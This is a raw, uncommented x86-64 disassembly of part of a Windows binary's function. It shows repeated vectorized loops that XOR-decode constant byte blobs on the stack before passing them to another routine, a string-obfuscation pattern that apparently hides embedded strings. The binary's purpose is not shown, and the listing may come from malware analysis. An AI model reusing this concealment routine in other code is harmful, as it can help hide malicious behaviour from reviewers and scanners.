movdqa xmm12, xmmword [0x140265240]
movdqa xmm13, xmmword [0x140265180]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop word [rax + rax]
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x28
jl 0x14022f460
cmp eax, 0x2c
jge 0x14022f680
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
movzx r8d, bl
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x4c8f8d29
imul ebx
sub r8b, cl
inc ebx
sar edx, 5
add r8b, 0x24
mov eax, edx
add r8b, r8b
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r9 - 1], r8b
cmp ebx, 0x2c
jl 0x14022f630
lea rcx, [rsp + 0x68]
call fcn.1401ba3f0
mov al, 1
jmp 0x14022fbef
movzx eax, word [0x140264690]
mov word [rsp + 0x60], ax
movzx eax, byte [0x140264692]
mov byte [rsp + 0x62], al
movups xmm0, xmmword [0x140264680]
movups xmmword [rsp + 0x50], xmm0
cmp esi, 2
jl 0x14022f8ce
movdqa xmm0, xmmword [0x140265200]
lea rcx, [rsp + 0x54]
movdqa xmm9, xmmword [0x140265140]
movdqa xmm6, xmmword [0x140265210]
movdqa xmm7, xmmword [0x140265230]
movdqa xmm12, xmmword [0x140265240]
movdqa xmm13, xmmword [0x140265180]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x10
jl 0x14022f710
cmp eax, 0x13
jge 0x14022f930
movsxd rax, ebx
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
movzx r8d, bl
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x4c8f8d29
imul ebx
sub r8b, cl
inc ebx
sar edx, 5
add r8b, 0x24
mov eax, edx
add r8b, r8b
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r9 - 1], r8b
cmp ebx, 0x13
jl 0x14022f8e0
lea rcx, [rsp + 0x50]
call fcn.1401ba3f0
mov rdx, qword [rbp - 0x50]
jmp 0x14022d490
movups xmm1, xmmword [0x140264738]
movups xmm0, xmmword [0x140264728]
movups xmmword [rsp + 0x78], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
movups xmmword [rsp + 0x68], xmm0
test al, al
je 0x14022fbe0
cmp esi, 2
jl 0x14022fb89
movdqa xmm0, xmmword [0x140265200]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140265140]
movdqa xmm6, xmmword [0x140265210]
movdqa xmm7, xmmword [0x140265230]
movdqa xmm12, xmmword [0x140265240]
movdqa xmm13, xmmword [0x140265180]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop word [rax + rax]
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x20
jl 0x14022f9d0
jmp 0x14022fbe0
lea r9, [rsp + 0x68]
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
movzx r8d, bl
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x4c8f8d29
imul ebx
sub r8b, cl
inc ebx
sar edx, 5
add r8b, 0x24
mov eax, edx
add r8b, r8b
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r9 - 1], r8b
cmp ebx, 0x20
jl 0x14022fb90
mov edx, r10d
lea rcx, [rsp + 0x68]
call fcn.1401ba3f0
xor al, al
mov rsi, qword [rsp + 0x240]
mov rdi, qword [rsp + 0x1f0]
mov rcx, qword [rbp + 0x60]
xor rcx, rsp
call fcn.140234e20
lea r11, [rsp + 0x1f8]
movaps xmm6, xmmword [r11 - 0x18]
movaps xmm7, xmmword [r11 - 0x28]
movaps xmm8, xmmword [r11 - 0x38]
movaps xmm9, xmmword [r11 - 0x48]
movaps xmm10, xmmword [r11 - 0x58]
movaps xmm11, xmmword [r11 - 0x68]
movaps xmm12, xmmword [r11 - 0x78]
movaps xmm13, xmmword [r11 - 0x88]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbx
pop rbp
ret